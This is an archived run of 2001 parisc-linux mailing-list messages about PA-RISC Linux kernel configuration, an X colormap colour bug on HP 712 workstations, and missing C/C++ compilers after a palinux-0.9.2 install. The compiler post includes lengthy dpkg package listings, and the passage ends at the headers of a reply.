To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 17:04:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDAA6482A
	for <parisc-linux@parisc-linux.org>; Sat, 18 Aug 2001 17:04:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15YF8z-0006Go-00; Sun, 19 Aug 2001 00:04:41 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E15YF67-0000tK-00@master.debian.org>; from deller@gmx.de on Sun, Aug 19, 2001 at 12:59:41AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11914

On Sun, Aug 19, 2001 at 12:59:41AM +0200, Helge Deller wrote:
> Sure, Cxxx and Jxxx may have LASI, but if I'm correct they all have a 32bit PA7XXX 
> CPU and thus won't be catched by this check.

Nope, C200+, C240+, C360 (and equivalent J class) all have PA8x00 CPUs.

> Machines with a PA8XXX CPU don't have any LASI/GSC devices and would _always_ 
> HPMC without PCI support. So I still think it is better to panic() with a nice message 
> instead of just let the user guess why the machine suddenly HPMC'ed with this kernel 
> and start asking on the parisc-linux list.

Everyone who's asked about compilng a kernel with CONFIG_PCI off has had a
715/712-era machine.  I don't think people with PCI slots will turn it off.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: caslivkoff@yahoo.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Xpert][parisc-linux] white is blue
Date: Sat, 18 Aug 2001 19:42:01 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <3B7EFD49.88BC6A42@yahoo.com>
References: <Pine.LNX.4.33.0108182048110.3587-100000@harrier.dpmms.cam.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620395 23853 80.91.229.3 (22 Nov 2014 01:39:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:55 +0000 (UTC)
Cc: Michel =?iso-8859-1?Q?D=E4nzer?= <michdaen@iiic.ethz.ch>,
	xpert@xfree86.org, parisc-linux@lists.parisc-linux.org
To: Dr Andrew C Aitchison <A.C.Aitchison@dpmms.cam.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 17:39:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com [216.136.173.57])
	by dsl2.external.hp.com (Postfix) with SMTP id B3A5F482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Aug 2001 17:39:26 -0600 (MDT)
Original-Received: from dsl-64-128-230-1.telocity.com (HELO yahoo.com) (64.128.230.1)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 18 Aug 2001 23:39:24 -0000
X-Apparently-From: <caslivkoff@yahoo.com>
Original-Sender: chuck@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6-686 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11915

Dr Andrew C Aitchison wrote:
> 
> It does sound as though the active colormap isn't being initialized fully.
> Does the 712/60 have more than one colormap ?

Actually, yes. The Artist (in all 712's, some 715's and some 725's) has
2 colormaps.

_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com





From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Keyboard on 712/60 and X
Date: Sun, 19 Aug 2001 01:00:38 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20010819010038.A2644@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620395 23865 80.91.229.3 (22 Nov 2014 01:39:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:55 +0000 (UTC)
To: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 23:00:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E8A2482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Aug 2001 23:00:46 -0600 (MDT)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id BAA29651
	for parisc-linux@lists.parisc-linux.org; Sun, 19 Aug 2001 01:00:38 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:11916

When I start up X white is also replaced for blue, but I can't tell if
rebooting to the new 2.4.9-pa2 kernel I got from the cvs fixes anything
cause I can't type anything to the console... I know there was a patch
to fix the keyboard issues for the BXXX and CXXX hp's but I do know know
if this will fix my issue...

--timball

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024R/CFF85605 1999-06-10 Timothy L. Ball <timball@sheergenius.com>
     Key fingerprint = 8A 8E 64 D6 21 C0 90 29  9F D6 1E DC F8 18 CB CD




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard on 712/60 and X
Date: Sun, 19 Aug 2001 01:30:09 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20010819013009.B2644@gwyn.tux.org>
References: <20010819010038.A2644@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620395 23877 80.91.229.3 (22 Nov 2014 01:39:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:55 +0000 (UTC)
To: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 23:30:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC293482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Aug 2001 23:30:10 -0600 (MDT)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id BAA30882
	for parisc-linux@lists.parisc-linux.org; Sun, 19 Aug 2001 01:30:10 -0400
Content-Disposition: inline
In-Reply-To: <20010819010038.A2644@gwyn.tux.org>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:11917

On Sun, Aug 19, 2001 at 01:00:38AM -0400, Timothy Ball wrote:
> When I start up X white is also replaced for blue, but I can't tell if
> rebooting to the new 2.4.9-pa2 kernel I got from the cvs fixes anything
> cause I can't type anything to the console... I know there was a patch
> to fix the keyboard issues for the BXXX and CXXX hp's but I do know know
> if this will fix my issue...
> 

Well I found a workaround while playing w/ the blue looking X session...
If I start an app that needs to allocate it's own colormap (xgalaga for
example), when the app exits all the colors look right.

I don't know what that means. But I figure that someone can use that bit
of info to figure out a proper solution to this bug. In the mean time I
guess I'll be playing a lot more xgalaga... which is exactly what I
didn't need.

--timball

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024R/CFF85605 1999-06-10 Timothy L. Ball <timball@sheergenius.com>
     Key fingerprint = 8A 8E 64 D6 21 C0 90 29  9F D6 1E DC F8 18 CB CD




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [palinux-0.9.2] Where are the compilers (c, c++) ?
Date: Sun, 19 Aug 2001 12:07:27 +0200
Lines: 544
Approved: news@gmane.org
Message-ID: <01081912061400.01092@octopus>
Reply-To: Reinhard.Gimbel@freenet.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620396 23890 80.91.229.3 (22 Nov 2014 01:39:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:56 +0000 (UTC)
Cc: matt@lackof.org, gcc@packages.debian.org, ossama@debian.org
To: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 19 04:07:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mout0.freenet.de (mout0.freenet.de [194.97.50.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3957E482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Aug 2001 04:07:39 -0600 (MDT)
Original-Received: from [194.97.50.144] (helo=mx1.freenet.de)
	by mout0.freenet.de with esmtp (Exim 3.32 #1)
	id 15YPUX-0002g2-00; Sun, 19 Aug 2001 12:07:37 +0200
Original-Received: from b19c3.pppool.de ([213.7.25.195] helo=octopus)
	by mx1.freenet.de with smtp (Exim 3.32 #1)
	id 15YPUU-0008Bk-00; Sun, 19 Aug 2001 12:07:34 +0200
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11918

Hi folks !

After successfully installing palinux-0.9.2 on my 715/64
I'm looking for the compilers (c, c++) ...

At present I'm not able to build a new kernel or utilities
from their source code :-(

During the installation process I choose something like

task-devel-common
task-c
task-c++

According to dselect- and dpkg-inquiries several packages
I would suggest to install for a C development enviroment
were installed after the base installation was completed.

What was surprising me is that '/usr/bin/cc' was a symbolic
link to '/etc/alternatives/cc' which again was a symbolic
link to the missing 'cc.1.gz' (seems to be a man page ...
!?!). '/usr/bin/gcc' was a link to the missing 'gcc-3.0'

After removing the false symbolic links and (symbolic)
linking 'hppa64-linux-gcc' to 'gcc' and 'cc' I could get
at least a more or less valid 'cc -v' output.

The compilation of the well known trivial 'hello.c' led
to the message that 'stdio.h' could not been found.

Afterwards I tried to install some packages out of the
'more_packages'-folder by hand using dpkg. I tried it in
several different sequences but wihtout success.

Enclodes some 'dpkg --info' outputs, which are somewhat
confusing (at least for me at present ... :-)

----- 8< ----- 8< ----- 8< ----- 8< ----- 8< -----

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info ../base/gcc-3.0-base_1\:3.0-1_all.deb
 new debian package, version 2.0.
 size 34502 bytes: control archive= 801 bytes.
     376 bytes,    11 lines      control
     377 bytes,     5 lines      md5sums
     273 bytes,     8 lines   *  postinst             #!/bin/sh
     202 bytes,     6 lines   *  prerm                #!/bin/sh
 Package: gcc-3.0-base
 Version: 1:3.0-1
 Section: devel
 Priority: standard
 Architecture: all
 Installed-Size: 43
 Maintainer: Debian GCC maintainers 
<debian-gcc@lists.debian.org>
 Source: gcc-3.0 (3.0.ds9-1)
 Description: The GNU compiler collection (base package).
  This package contains files common to all languages and 
libraries
  contained in the GNU compiler collection (gcc).

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info 
binutils-hppa64_2.11.90.0.7-2.0.0.1_hppa.deb
 new debian package, version 2.0.
 size 6386660 bytes: control archive= 1739 bytes.
     377 bytes,    11 lines      control
    2980 bytes,    44 lines      md5sums
     285 bytes,     8 lines   *  postinst             #!/bin/sh
     208 bytes,     6 lines   *  prerm                #!/bin/sh
 Package: binutils-hppa64
 Version: 2.11.90.0.7-2.0.0.1
 Section: alien
 Priority: extra
 Architecture: hppa
 Depends: libc6 (>= 2.2.3-1)
 Installed-Size: 17028
 Maintainer: Matt Taggart <matt@lackof.org>
 Description: Cross binutils for hppa64
  These programs are used when cross compiling anything for 
hppa64, currently
  the only thing you'd want to build is the hppa64 linux kernel.

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info binutils_2.11.90.0.7-2.0.1_hppa.deb
 new debian package, version 2.0.
 size 1423686 bytes: control archive= 2969 bytes.
     547 bytes,    15 lines      control
    4086 bytes,    65 lines      md5sums
     866 bytes,    39 lines   *  postinst             #!/bin/sh
     202 bytes,    10 lines   *  prerm                #!/bin/sh
      60 bytes,     2 lines      shlibs
 Package: binutils
 Version: 2.11.90.0.7-2.0.1
 Section: devel
 Priority: standard
 Architecture: hppa
 Depends: libc6 (>= 2.2.3-1)
 Suggests: binutils-doc (= 2.11.90.0.7-2.0.1)
 Conflicts: gas, elf-binutils
 Provides: elf-binutils
 Installed-Size: 2940
 Maintainer: Matt Taggart <matt@lackof.org>
 Description: The GNU assembler, linker and binary utilities.
  The programs in this package are used to assemble, link and 
manipulate
  binary and object files.  They may be used in conjunction 
with a compiler
  and various libraries to build programs for Linux.

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info cpp_3.0-6_hppa.deb
 new debian package, version 2.0.
 size 2998 bytes: control archive= 747 bytes.
     380 bytes,    13 lines      control
     200 bytes,     3 lines      md5sums
     237 bytes,     8 lines   *  postinst             #!/bin/sh
     184 bytes,     6 lines   *  prerm                #!/bin/sh
 Package: cpp
 Version: 2:3.0-6
 Section: interpreters
 Priority: standard
 Architecture: hppa
 Depends: cpp-3.0
 Installed-Size: 60
 Maintainer: Debian GCC maintainers 
<debian-gcc@lists.debian.org>
 Source: gcc-defaults (0.11)
 Description: The GNU C preprocessor.
  The default GNU preprocessor for Debian GNU/Linux systems.
  .
  This is currently version 3.0 for this architecture (hppa).

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info gcc-3.0-base_3.0-3_all.deb
 new debian package, version 2.0.
 size 34396 bytes: control archive= 767 bytes.
     376 bytes,    11 lines      control
     303 bytes,     4 lines      md5sums
     273 bytes,     8 lines   *  postinst             #!/bin/sh
     202 bytes,     6 lines   *  prerm                #!/bin/sh
 Package: gcc-3.0-base
 Version: 1:3.0-3
 Section: devel
 Priority: standard
 Architecture: all
 Installed-Size: 42
 Maintainer: Debian GCC maintainers 
<debian-gcc@lists.debian.org>
 Source: gcc-3.0 (3.0.ds9-3)
 Description: The GNU compiler collection (base package).
  This package contains files common to all languages and 
libraries
  contained in the GNU compiler collection (gcc).

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info gcc-hppa64_3.0-0pre010427.0.0.1_hppa.deb
 new debian package, version 2.0.
 size 2983800 bytes: control archive= 1382 bytes.
     382 bytes,    11 lines      control
    1930 bytes,    25 lines      md5sums
     265 bytes,     8 lines   *  postinst             #!/bin/sh
     198 bytes,     6 lines   *  prerm                #!/bin/sh
 Package: gcc-hppa64
 Version: 3.0-0pre010427.0.0.1
 Section: alien
 Priority: extra
 Architecture: hppa
 Depends: libc6 (>= 2.2.3-1), binutils-hppa64
 Installed-Size: 7680
 Maintainer: Matt Taggart <matt@lackof.org>
 Description: Cross gcc for hppa64
  This compiler is used when cross compiling anything for 
hppa64, currently
  the only thing you'd want to build is the hppa64 linux kernel.

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info gcc_3.0-6_hppa.deb
 new debian package, version 2.0.
 size 3222 bytes: control archive= 901 bytes.
     457 bytes,    16 lines      control
     108 bytes,     2 lines      md5sums
     395 bytes,    16 lines   *  postinst             #!/bin/sh
     126 bytes,     6 lines   *  preinst              #!/bin/sh
     274 bytes,    14 lines   *  prerm                #!/bin/sh
 Package: gcc
 Version: 2:3.0-6
 Section: devel
 Priority: standard
 Architecture: hppa
 Depends: cpp (>= 2:3.0-6), gcc-3.0, cpp-3.0
 Recommends: libc-dev
 Suggests: task-c-dev
 Provides: c-compiler
 Installed-Size: 52
 Maintainer: Debian GCC maintainers 
<debian-gcc@lists.debian.org>
 Source: gcc-defaults (0.11)
 Description: The GNU C compiler.
  The default GNU C compiler for Debian GNU/Linux systems.
  .
  This is currently version 3.0 for this architecture (hppa).

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info g++_3.0-6_hppa.deb
 new debian package, version 2.0.
 size 1192 bytes: control archive= 748 bytes.
     444 bytes,    15 lines      control
     398 bytes,    15 lines   *  postinst             #!/bin/sh
     275 bytes,    14 lines   *  prerm                #!/bin/sh
 Package: g++
 Version: 2:3.0-6
 Section: devel
 Priority: standard
 Architecture: hppa
 Depends: cpp (>= 2:3.0-6), g++-3.0, gcc-3.0
 Suggests: task-c++-dev
 Provides: c++-compiler
 Installed-Size: 40
 Maintainer: Debian GCC maintainers 
<debian-gcc@lists.debian.org>
 Source: gcc-defaults (0.11)
 Description: The GNU C++ compiler.
  The default GNU C++ compiler for Debian GNU/Linux systems.
  .
  This is currently version 3.0 for this architecture (hppa).

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info gdb-hppa_5.0-4.pehc.2_hppa.deb
 new debian package, version 2.0.
 size 1238264 bytes: control archive= 791 bytes.
     390 bytes,    11 lines      control
     246 bytes,     4 lines      md5sums
     257 bytes,     8 lines   *  postinst             #!/bin/sh
     194 bytes,     6 lines   *  prerm                #!/bin/sh
 Package: gdb-hppa
 Version: 5.0-4.pehc.2
 Section: alien
 Priority: extra
 Architecture: hppa
 Installed-Size: 3424
 Maintainer: Matt Taggart <matt@lackof.org>
 Description: Static gdb for hppa
  This is a static version of gdb for hppa based on 
puffin.external.hp.com cvs.   This is an unofficial debian 
package and will go away when hppa support has
  been integrated in to the normal gdb package.

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info libc6-dev_2.2.3-6.0.1_hppa.deb
 new debian package, version 2.0.
 size 2733850 bytes: control archive= 899 bytes.
     706 bytes,    17 lines      control
     287 bytes,    16 lines   *  postinst             #!/bin/sh
     247 bytes,     7 lines   *  preinst              #!/bin/sh
     180 bytes,    12 lines   *  prerm                #!/bin/sh
 Package: libc6-dev
 Version: 2.2.3-6.0.1
 Section: devel
 Priority: standard
 Architecture: hppa
 Depends: libc6 (= 2.2.3-6.0.1)
 Recommends: c-compiler
 Suggests: glibc-doc
 Conflicts: libstdc++2.10-dev (<< 1:2.95.2-15), gcc-2.95 (<< 
1:2.95.3-8), netkit-rpc, libc-dev
 Replaces: man-db (<= 2.3.10-41), gettext (<= 0.10.26-1), ppp 
(<= 2.2.0f-24), libgdbmg1-dev (<= 1.7.3-24), ldso (<= 
1.9.11-9), netkit-rpc, netbase (<< 4.0)
 Provides: libc-dev
 Installed-Size: 11860
 Maintainer: Ben Collins <bcollins@debian.org>
 Source: glibc
 Description: GNU C Library: Development Libraries and Header 
Files.
  Contains the symlinks, headers, and object files needed to 
compile
  and link programs which use the standard C library.

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info libc6_2.2.3-6.0.1_hppa.deb
 new debian package, version 2.0.
 size 4343044 bytes: control archive= 5160 bytes.
      20 bytes,     1 lines      conffiles
     827 bytes,    18 lines      control
    8008 bytes,   321 lines   *  postinst             
#!/bin/bash
     547 bytes,    27 lines   *  postrm               #!/bin/sh
    2901 bytes,    96 lines   *  preinst              
#!/bin/bash
     182 bytes,    11 lines   *  prerm                #!/bin/sh
     653 bytes,    22 lines      shlibs
 Package: libc6
 Version: 2.2.3-6.0.1
 Section: base
 Priority: required
 Architecture: hppa
 Depends: libdb2 (>= 2:2.7.7-4)
 Suggests: locales, glibc-doc
 Conflicts: strace (<< 4.0-0), libnss-db (<< 2.2-3), timezone, 
timezones, gconv-modules, libtricks, libc6-doc, libc6-i586, 
libc6-i686, libc6-v9, netkit-rpc
 Replaces: ldso (<= 1.9.11-9), timezone, timezones, 
gconv-modules, libtricks, netkit-rpc, netbase (<< 4.0)
 Provides: gconv-modules, glibc2.2
 Installed-Size: 14596
 Maintainer: Ben Collins <bcollins@debian.org>
 Source: glibc
 Description: GNU C Library: Shared libraries and Timezone data
  Contains the standard libraries that are used by nearly all 
programs on
  the system. This package includes shared versions of the 
standard C library
  and the standard math library, as well as many others.
  Timezone data is also included.

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info libstdc++3_3.0-1_hppa.deb
 new debian package, version 2.0.
 size 257680 bytes: control archive= 882 bytes.
     390 bytes,    12 lines      control
     282 bytes,     4 lines      md5sums
     383 bytes,    13 lines   *  postinst             #!/bin/sh
     128 bytes,     6 lines   *  postrm               #!/bin/sh
     198 bytes,     6 lines   *  prerm                #!/bin/sh
      23 bytes,     1 lines      shlibs
 Package: libstdc++3
 Version: 1:3.0-1
 Section: base
 Priority: required
 Architecture: hppa
 Depends: gcc-3.0-base, libc6 (>= 2.2.3-1)
 Installed-Size: 892
 Maintainer: Debian GCC maintainers 
<debian-gcc@lists.debian.org>
 Source: gcc-3.0 (3.0.ds9-1)
 Description: The GNU stdc++ library version 3
  This package contains an additional runtime library for C++ 
programs
  built with the GNU compiler.

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info libstdc++3-dev_3.0-1_hppa.deb
 new debian package, version 2.0.
 size 593396 bytes: control archive= 6769 bytes.
     827 bytes,    16 lines      control
   15408 bytes,   221 lines      md5sums
     224 bytes,     7 lines   *  postinst             #!/bin/sh
     146 bytes,     5 lines   *  prerm                #!/bin/sh
 Package: libstdc++3-dev
 Version: 1:3.0-1
 Section: devel
 Priority: optional
 Architecture: hppa
 Depends: gcc-3.0-base, libstdc++3 (>= 1:3.0-1), libc6-dev (>= 
2.2.3-1), g++-3.0 (>= 1:3.0-1)
 Suggests: stl-manual
 Conflicts: libg++27-dev, libg++272-dev (<< 2.7.2.8-1), 
libstdc++2.8-dev, libg++2.8-dev, libstdc++2.9-dev, 
libstdc++2.9-glibc2.1-dev, libstdc++2.10-dev (<< 1:2.95.3-2), 
libstdc++3.0-dev
 Provides: libstdc++-dev
 Installed-Size: 4032
 Maintainer: Debian GCC maintainers 
<debian-gcc@lists.debian.org>
 Source: gcc-3.0 (3.0.ds9-1)
 Description: The GNU stdc++ library version 3 (development 
files)
  This package contains the headers and static library files 
necessary for
  building C++ programs which use libstdc++. Be advised that 
this only works
  with the GNU C++ compiler (version 2.95), and no earlier 
library will work it.
/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info task-c-dev_0.7_all.deb
 new debian package, version 2.0.
 size 3570 bytes: control archive= 985 bytes.
     847 bytes,    21 lines      control
     207 bytes,     3 lines      md5sums
     265 bytes,     8 lines   *  postinst             #!/bin/sh
     198 bytes,     6 lines   *  prerm                #!/bin/sh
 Package: task-c-dev
 Version: 0.7
 Section: devel
 Priority: optional
 Architecture: all
 Depends: task-devel-common, gcc | c-compiler, cpp, manpages-dev
 Suggests: task-debug, autoproject, protoize-2.95, doc++ | cweb 
| cwebx | cweb-latex | nowebm | fweb | funnelweb, c2man, cxref, 
cutils, tendra, cflow, liwc
 Installed-Size: 12
 Maintainer: Debian GCC maintainers <gcc@packages.debian.org>
 Source: task-devel
 Description: Development in C
  A metapackage containing dependencies and suggestions for a 
complete
  environment for development of programs in the C programming 
language,
  including:
   o Tools common for C, C++ and Objective C development
   o A C preprocessor
   o A C compiler
   o Development files of the standard C library
   o Debugging tools
   o Literate programming tools for C
   o C source analysis tools and tools to manipulate C source

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info task-c++-dev_0.7_all.deb
 new debian package, version 2.0.
 size 3558 bytes: control archive= 974 bytes.
     846 bytes,    22 lines      control
     213 bytes,     3 lines      md5sums
     273 bytes,     8 lines   *  postinst             #!/bin/sh
     202 bytes,     6 lines   *  prerm                #!/bin/sh
 Package: task-c++-dev
 Version: 0.7
 Section: devel
 Priority: optional
 Architecture: all
 Depends: task-devel-common, c++-compiler, cpp, manpages-dev
 Recommends: stl-manual
 Suggests: task-debug, task-c-dev, doc++ | cweb | cwebx | 
cweb-latex | nowebm | fweb | funnelweb, openc++
 Installed-Size: 12
 Maintainer: Debian GCC maintainers <gcc@packages.debian.org>
 Source: task-devel
 Description: Development in C++
  A metapackage containing dependencies, recommendations and 
suggestions
  for a complete environment for development of programs in the
  C++ programming language, including:
   o Tools common for C, C++ and Objective C development
   o A C preprocessor
   o A C++ compiler and the standard C++ library
   o Documentation for the Standard Template Library
   o Debugging tools
   o Literate programming tools for C++
   o An extensible C++ compiler


/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info task-devel-common_0.7_all.deb
 new debian package, version 2.0.
 size 3868 bytes: control archive= 1284 bytes.
    1491 bytes,    27 lines      control
     228 bytes,     3 lines      md5sums
     293 bytes,     8 lines   *  postinst             #!/bin/sh
     212 bytes,     6 lines   *  prerm                #!/bin/sh
 Package: task-devel-common
 Version: 0.7
 Section: devel
 Priority: optional
 Architecture: all
 Depends: make, binutils | binutils-multiarch, glibc-doc, 
manpages-dev | manpages-de-dev | manpages-pl-dev, autoconf, 
automake, libtool, flex, bison, indent | astyle, patch, strace 
| hurd, cvs | rcs | aegis | prcs, gettext
 Suggests: task-c-dev | task-c++-dev | task-objc-dev | 
task-debug, icmake | pmake | xmake | cook | cons, sourcenav, 
byacc, gperf, clig | wyg | opt | autogen, colorgcc, dejagnu, 
cdecl, metrics, dist, nana, gnu-standards, ltrace
 Installed-Size: 12
 Maintainer: Debian GCC maintainers <gcc@packages.debian.org>
 Source: task-devel
 Description: Development in various languages
  A metapackage containing dependencies, recommendations and 
suggestions
  for tools commonly used in development and debugging using 
the C, C++,
  and Objective C programming languages and others, including:
   o Developer's documentation
   o An assembler, linker and tools to manipulate object files
   o Tools to script the build process
   o Tools to help deal with system differences and simplify 
the creation
     of libraries
   o Tools to generate lexical analyzers and parsers
   o Tools to automate indentation and cross-reference 
generation
   o System and library call tracers
   o Version and configuration management systems
   o I18n (internationalization) tools
   o Tools for enhanced assertion checking
   o Tools to help in command line parsing and writing help 
texts
   o Tools for regression testing

/cdrom/dists/sid/main/binary-hppa/more_packages
root@frog # dpkg --info libtool_1.4-1_all.deb
 new debian package, version 2.0.
 size 309832 bytes: control archive= 2195 bytes.
     763 bytes,    18 lines      control
    1678 bytes,    25 lines      md5sums
    1611 bytes,    65 lines   *  postinst             #!/bin/sh
     234 bytes,    18 lines   *  preinst              #!/bin/sh
     263 bytes,    13 lines   *  prerm                #!/bin/sh
 Package: libtool
 Version: 1.4-1
 Section: devel
 Priority: optional
 Architecture: all
 Depends: gcc | c-compiler, cpp, libc6-dev | libc-dev, file
 Recommends: libltdl3-dev
 Suggests: libtool-doc, autoconf, automake
 Conflicts: autoconf (<= 2.12), automake (<= 1.3)
 Installed-Size: 1099
 Maintainer: Ossama Othman <ossama@debian.org>
 Description: Generic library support script
  This is GNU libtool, a generic library support script.  
Libtool hides
  the complexity of generating special library types (such as 
shared
  libraries) behind a consistent interface.  To use libtool, 
add the
  new generic library building commands to your Makefile, 
Makefile.in,
  or Makefile.am.  See the documentation for details.  Libtool 
supports
  building static libraries on all platforms.

----- 8< ----- 8< ----- 8< ----- 8< ----- 8< -----

Some packages seem to relie on packages which are either
not present or the dependencies are not up-to-date ... 

Another way could be to configure the already installed 
utilities. Is there a central configuration file for gcc ?
How gcc knows where to look for the include files and
essential libraries ?

Anybody outthere who could help ?

Thanks in advance !

Reinhard.

P.S.: This topic was an issue in parisc-linux digest,
Vol 1 #208. The way offered there did not lead to
success ...




From - Thu Nov 08 21:18:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [palinux-0.9.2] Where are the compilers (c, c++) ?
Date: Sun, 19 Aug 2001 11:18:34 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010819111834.C14486@parcelfarce.linux.theplanet.co.uk>
References: <01081912061400.01092@octopus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620396 23902 80.91.229.3 (22 Nov 2014 01:39:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	matt@lackof.org, gcc@packages.debian.org, ossama@debian.org
To: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 19 04:18:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
